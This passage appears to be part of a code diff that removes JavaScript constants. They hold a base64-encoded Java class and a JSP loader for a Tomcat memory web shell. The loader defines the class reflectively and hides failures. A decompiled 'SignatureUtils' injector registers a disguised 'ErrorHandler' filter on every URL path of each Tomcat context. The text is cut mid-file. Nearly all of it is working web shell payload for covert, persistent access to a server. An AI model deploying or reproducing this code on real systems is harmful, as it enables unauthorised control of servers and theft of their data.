2YS9sYW5nL0NsYXNzOwoBAAEGDAEHAQgBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwcBCgEAE2phdmEvbGFuZy9UaHJvd2FibGUKAQkBDAwBDQAGAQAPcHJpbnRTdGFja1RyYWNlCgAIAQ8MARAA1AEAEWdldENhdGFsaW5hTG9hZGVyCAESAQANZmluZEZpbHRlckRlZggBFAEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyRGVmCAEWAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAIARgBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYIARoBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAKADABHAwAMwEdAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwgBHwEADXNldEZpbHRlck5hbWUIASEBAA5zZXRGaWx0ZXJDbGFzcwgBIwEADGFkZEZpbHRlckRlZggBJQEADXNldERpc3BhdGNoZXIIAScBAAdSRVFVRVNUCAEpAQANYWRkVVJMUGF0dGVybgoACAErDAEsAIsBAA1nZXRVcmxQYXR0ZXJuCAEuAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCgAwATAMATEBMgEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwgBNAEADXNldFVSTFBhdHRlcm4IATYBABJhZGRGaWx0ZXJNYXBCZWZvcmUIATgBAAxhZGRGaWx0ZXJNYXAKAToAeQcBOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yCgE6AT0MAD8BPgEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgBQAEADWZpbHRlckNvbmZpZ3MHAUIBAA1qYXZhL3V0aWwvTWFwCwFBAUQMAUUBRgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAlAQwKAAgAAwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQBDTGNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA1TdGFja01hcFRhYmxlAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEACkV4Y2VwdGlvbnMBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAD2d6aXBJbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQcBaAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAR2YXI1AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAANvYmoBAARuYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAFY2xhenoBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lBwFzAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEABXZhbHVlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzAQAVW0xqYXZhL2xhbmcvQ2xhc3M8Kj47BwF8BwF+BwF3AQAJU2lnbmF0dXJlAQBgKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzPCo+O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEa2V5MQEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAB3RocmVhZHMBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAJY2xhenpCeXRlAQACZTEBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAZkHAaEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBowEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEAH29yZy9hcGFjaGUvbEVmYUkvU2lnbmF0dXJlVXRpbHMHAacKAagACQoBqAAeCgGoACIBACFMb3JnL2FwYWNoZS9sRWZhSS9TaWduYXR1cmVVdGlsczsBAAIvKggBrQEAHW9yZy5hcGFjaGUuTnBBVXAuRXJyb3JIYW5kbGVyCAGvAQ98SDRzSUFBQUFBQUFBLzZWWWVWaGMxUlgvWFdiZ0RjUEw0cENOTEdZMVlaOUFnQkJJWW9DUWdBS0pJVVlqK3VsamVNQ0VZV2J5NWcwQlNWcHI3V3B0N1Y2NzIxclQ5dE0ycVdZSXBtcTZxYlZiYkcxcnRhdjlvNnV0M1d0cnBiLzczcHZKREF6SjUrY2ZjKzk5OTV4NzdqbS9zOXg3NThsWEhub0VRTFdvOHlJSExnVnVGYm5JRTFoNFNCdlIvQ0V0UE9CdkNXbXhXRWRFNjlNTmdieXR3WERRM0M3Z0tpNDU0SUZIUUJrZkg5TEhqaDNMaHhjRkNsUVZjekJYb0RFUUdmWWJ1blpJaTBYQ2ZpbnRpTjdySDlhSFkzb281RGNqd3dITjlBOUUrbTRPaGtLYWY3Y3oyQlVNbVhJYkYwVUsrRHJPYTlGdEdzSHdRS01IOHdVODQrTlI2bVR2NlZOUktEZDB5eWtQRmxvYURmZlYydFRGS3BaSXFvc3pIaXdWbURzK1BxaExXN3EwWWQzbVdhNWloZVR4bmlkNHNGSmdYcEwxZ0JhS083eXJWYXlSdkFWcEZBbmRPb25iWlFKTGl6dXlJdGRZY2tDeWJWQlJqQkl1NzlQN2cySGRZaEJZWE56VDNONWVNbjBsalMyajVrMnQzVjVVb0ZLQlg4VkdWQWtVU3NaUmY4QVlpNW9SZjBzd09pZ3hLeGpRemZad3pOVENBVjJncEhnbWVQWU8weFkyS3Rna3NES0RFb3ZxQVgrM0hqQjA4MHA5ckp0Zlh0U2lUc0ZtRmZYWUlqQi91bXc2aGRzM2o1azY3WEVYbC9RMGUxR05Sb25LVnR2QUxPb2NrSFp0VjNFNWRuQ1JEQ3pKMm01enh2UkEzQWlhWTM1cTRMQTJxMmpCVGpxNEw3SXJHTlpDREVjSzVsNEtkam1vMkJ1MGpnYjBxQm1NaEJXMENWeG0yeGJUalpHUWJ2b0hUVFBxYjJQVGJVL3Mwdy9IOVppcDRBcUI5UmRqalVVajRaaGVnTjNvVU5HSkxvRjgydDJtMjlteGZsYlFNNllrbUh0VlhJVjloQzBRQ1p0YU1FellsbVhFenFCbWRFdk42TTNHa3V2a2p2dFZYSTBEakZQdTJLM0hZclJQWUUxeDBxdFpsTFo0R3VYYWExVWNsTnFxWEx0WE14aml6RE12QTdwSHhmVzRnWVJlTGFiWDFlelVBNUUraHMraWJKWklwM3B4bzRxYm9BbUlVWHFDK0YvSGVROEMvSWhxWXlGR2V3RjA5Q3NZVURHSW9NQ2xGMWJQMXFuSjVCNjljVk8vT0loN2VnL3BBWk1nRGlHa1lGaEZHSkdNaUxRWjdJaDBNcXl3ZUdaMmVYRVlob0tZQ2hOeFp2czBPa3RGY24yeStCWE5sT0prdDhSbG5XeEdWWXpoWm9KekZXdW9ETTRaMjBwMGpxbzRodGZSOGxpRzVSdXlXRDdUY0ZsM2IyRVVSSk51akVrSEgxWHdSb0VWRm5jdzRwZVoyR1FZMnRpZXVCbU5teFNtYThOZTNBcVhOUHZOS3Q2Q3Q3SmtoUFVqNTB2R2d1SXNNQ3Q0dThDcTg5TTJ1eG5VWkhxbDVkazdNcmxDSVgxQUN6VUZBblJ5R3RjN1dTSFBjKzJMVTlDd25xSjdjUWZ1bENYajNRSkwwckhZUDJoRWptaTlJZDBxQkVONHI0cjM0ZjFNZnlhSUZvcEpxTFBneEtScHh3ZFZmQWgzMldsNkRldUo5T1BpcEtFRWFpOVJkZ2hXWG41RXhVZnhNZkxINHIweHA3UXRLczZzenFrMC9nUStxZUJ1RlovQ3A1UDFKMU9rUU80Uk9aaW1ZVm9CSE1KblZOeUw0d3hYTTVLc3BabWVTRzEzS3o2bjR2T3kvaGFZa1pTSFpkamRwK0orZkNHVnhhM2haQlpuUm1CYS9Ua2g3VHdwOWNwbVdnRWV3SU1LVHFsSVlJS0JuNW5DOWluTkNoVms5bnBrTWJaUDdSM0YwMHBSWm9WdG5JMXFGMVVyc0NlZFRLNk1tOEZRWmJObGpZellNeXEraklkWlkvb2oxZ0hOcW42Uk1wRThRaCsxQzZZTkNmUDlLN3hYOUdRdEJsOVQ4WFY4d3c2VlR0MGNqUFNsVE1yWVplYnE5SDBOdlQvRThQUGJFcGcvanpNMGVyTFZyMi9pU1FYZlV2RnRmSWZ4UHBzRVJua3dQQklab3NsYnNrUjVGc2xac3RpRDc3R2U2UllHKzUwd1UvQ1VRSTZzM1Q5Z3BNVGk0Y3JoWUN4UTJkelUzWnFNSU1PREg4b3NzejQ4K0xFTnBYMUdrUFlUMHZwMG0vYmNUQmtwdnA4eE1HMis1bmgvdjNUQ0x4amoyV0tLMTRBV0szTG5kZkI2MUJVZjd0V04vVEx4NVdVd0V0QkNCelFqS0wrZFNiYzVHR1Q2Yit0NERiZk5SbFpyVnV6RnM1UjJZaFRvWlZCMEJ3ZkNtaGszZEZtYnNoVDJyYVhicFNTZWd3dXpYck9vN0lobTFDVEoweTRxY2lrTkVjUDhYU2N3cDl2VUFrT2RXdFN4cytlMVpWYkhyUG5McE9PTy9abDNiU2RvU09EVzZURzN6NDdNNElpK0o2b2JtVWNBMmZNMHcrQjV3OXRrcXJ4bVBZZklxc1NTcC8rcWkxMWZDRnlmWnZMQ01UZVdZVFJ2RmhjR2hWRVV5d1FpcWRuc1NMRmdCK3k2dHV3Q29GRi9JNm5FaHRuMW42YU54MGlwTWQyZHMxMDBHeFdoQ0N5L2tKbUt5SGZPL1ZtdFVrU0JjN1c5dUJ1WjRxbHhUQkZ6Wjl6ZkhObm5EM1V4UCszc2E5K1RKbW5sZERNZERDUGgvdUNBRlhscWY5b01EYjBRdjd6MzAxNGp3cGVoWXBjaytTQzFUenlCUzJaVVpUdmo2cGpBdlV5dDNCSDVWbU9WeXF3alk5RmtMVm1RUGFNVnUzSnhLMjkzSkc0RWRDcEY3c0xNSWxJcDE5SVBFV1BBcjBXMXdLRHU3NG8yWFIzMXR4cEd4R2pUd24waDFqMnh5b1BDZkxFYVBoNXptd0oxK3NiZWVtMUxvS3EydXJwRzg0aDFra1JYcmFxcWF0bFoxMVMvdWJaK1MzMU5WZDJtdXBaTm01dGE2cXZybXFxYk50WTB0M2pFQnNtNm1EcGRUYXdxbWdiMHNPa1JwWEp5T1ZYbUs4eXNxdDdrRVJWeVpyVU0rd3NxMXVnbFc0OXNicFROT3RtTXl1WStMbDdOZDZ2QXoza3RFL0pwRDdBdmRQb2xUci9DNmRkWWZUNUh1Y2hqKzB0KzFWanJnZUxTQ1lqU1FySG1sRmpMN3JKVFlqMjc0bE9paEYzWktWSE9ydktVOEo4RUxGbDhUenNTYWlraGgzMUphZGtFMXI0S0VieUtjNkVVc1ExdVMwUithWm1yN0pFSnJEL0JqeHo4aW0yZXBkMUtQTTkya2MyRVg0dU5sb2g4L0FaUGtmNWJpL3QzSFBIcDQyajFERmU2MlpmN1NrK2p2S3RpK1YxUTNNZmh6ajJENm9PbEQ0cjFDZFQ0YUhOREF0c3F5aEpvT3RFbFR0aElvQVN0Y09FdkhHK0Zhd3J6NEZiRWFnWG5oTUpucm15bVNFcWZ5MkVqcG9pM3k1bVVYSzJXL291SUZJaFZIdFpqTFRaUWRqRksyVDV2WVMvOXNCYS94eCs0WHlsdCtDTmU0SWhhcDJ3c3g1OHNHK1hvejNqUjhsWUNmN1dCeTdtZkVncUk1WXF5czlqZDRDNC9pL2FHM0NJMzdTdWZ4SlU1ZUF3dnBuMXg0RTlnejExNHJzZzlpVzZCaGp5THVuWVMxK1RndEtocVVFcUxGRmRDVkRjb1JYbSsza24wNWVCeHJKSGpNMkwxd2RJRURpVVFuUkNiaXBTRXFKbkV1QXZIY1h1UjIvZjZJbVVTYjNEaERHNDlPSUhiR2p5cDVXZHhPSUUzTmVRZng3d0c3eG5jY2JESU80RjNQVnFVWCtSSjREM1hzSGRiZmU0a1BpQ2toaVd1K2ZNVCtIQUNIeS9LVCtDZUZFWHlmOVpOM1U2TFdrazh2MER5ZjVGVHgxRlFVVVpMdnlTMW10T1FsL3c0U1VqdnhOMjRCMjl6K3R1aGlubkNsM0p6Q0o0cEhJVkhlay9rS2NLajRBRUZ1eFcwSzlEcFQyQ0tyc3VmamF6dzdzK1R3UHV5L0l0dGFBcmR5SnZKU204cHpZeUtmQ3NzRG1FcDI0MTBmeFZVYklLZndWRFBWR3BESGE3Q1p0ekFyNk5vNEVPd2tUcHZwOVpOMVB0eXZrVjI0QVNhY1JvdGhIWW5ucVlOejJJWHJkZ3QzTGlDWVhlbG1JYzl0SzFUTEVDWFdJNjlWcWpkeHVKd042MzlHLzdPdExtWGo1Si80SjlzNytUeitsLzROenlVdXQraDF2UE8reEwrUTkzYWVLMy9MOE5Qb1N3UFY3ekFPUVpiTWpnNWVobi9rOEhKMFN2RUtFZU9HUHlDTytXSnhTSkh1SmlFcXJoRXVFVXVjb1ZxSlhTT21FTWRCUzRYbHpqNVgyc2xNQmVmbkpiMys5UHlYcVJ5UWdpZktHUXJ4Ym5aeitGdlFhcWlsVm04V1lSZGF3bFR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"; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - classLoader.loadClass(className).newInstance(); - } catch (Exception e) { - try { - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - byte[] bytecode = decodeBase64(base64Str); - Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); - clazz.newInstance(); - } catch (Exception ignored) { - } - } -%>`; - -const injectorClass = `// -// (powered by FernFlower decompiler) -// - -package org.apache.lEfaI; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.zip.GZIPInputStream; - -public class SignatureUtils { - public SignatureUtils() { - try { - for(Object context : this.getContext()) { - Object filter = this.getFilter(context); - this.addFilter(context, filter); - } - } catch (Exception var5) { - } - - } - - public String getUrlPattern() { - return "/*"; - } - - public String getClassName() { - return "org.apache.NpAUp.ErrorHandler"; - } - - public String getBase64String() { - return 